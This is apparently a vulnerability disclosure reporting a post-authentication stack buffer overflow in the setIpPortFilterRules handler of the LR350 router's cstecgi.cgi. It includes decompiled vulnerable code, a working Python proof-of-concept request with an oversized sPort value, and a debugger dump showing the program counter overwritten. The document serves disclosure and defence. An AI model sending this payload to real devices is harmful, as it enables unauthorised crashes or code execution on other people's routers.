LR350 - bof - setlpPortFilterRules

Hi, we found a post-authentication stack buffer overflow at LR350 (Firmware version V9.3.5u.6369_B20220309), and contact you at the first time.

In function **setIpPortFilterRules** of the file **/cgi-bin/cstecgi.cgi**, the size of sPort/ePort is not checked, and directly copy to stack via **sprintf**

PoC

```
v6 = websGetVar(a1, "ip", "");
v7 = websGetVar(a1, "proto", "");
v8 = websGetVar(a1, "sPort", "");
v9 = websGetVar(a1, "ePort", "");
v17 = websGetVar(a1, "desc", "");
v10 = websGetVar(a1, "time", "");
v11 = websGetVar(a1, "date", "");
sprintf(v16, "%s:%s", v8, v9);
if ( v6 && v8 && v9 && (*v6 || *v8 || *v9) )
```

```
import requests url = "http://192.168.17.220:80/cgi-bin/cstecgi.cgi" cookie =
{"Cookie":"uid=1234"} data = {'topicurl' : "setIpPortFilterRules",
"addEffect" : "1", "sPort" : "a"*0x1000} response = requests.post(url,
cookies=cookie, json=data) print(response.text) print(response)
```

The PC register can be hijacked, which means it can result in RCE.

```
<7739f738 ← nop
T2
     0xb81
T3
     0xffffffff
T4
     0xf0000000
T5
    0x1
    0x1
0x3a22656d ('me":')
0x4a1668 (setResponse+396) ← move $v0, $zero
T6
T7
T8 0x39
         3e0h8 ← lui $gp, 2
T9
SO 0x61616161 ('aaaa')
S1 0x61616161 ('aaaa')
S2 0x61616161 ('aaaa')
    0x61616161 ('aaaa')
S3
    0x61616161 ('aaaa')
S4
S5 0x61616161 ('aaaa')
S6 0x61616161 ('aaaa')
    0x61616161 ('aaaa')
S7
S8 0x61616161 ('aaaa')
FP <u>0x7f9335e8</u> ← 0x61616161 ('aaaa')
PC 0x61616161 ('aaaa')
► f 0 61616161
```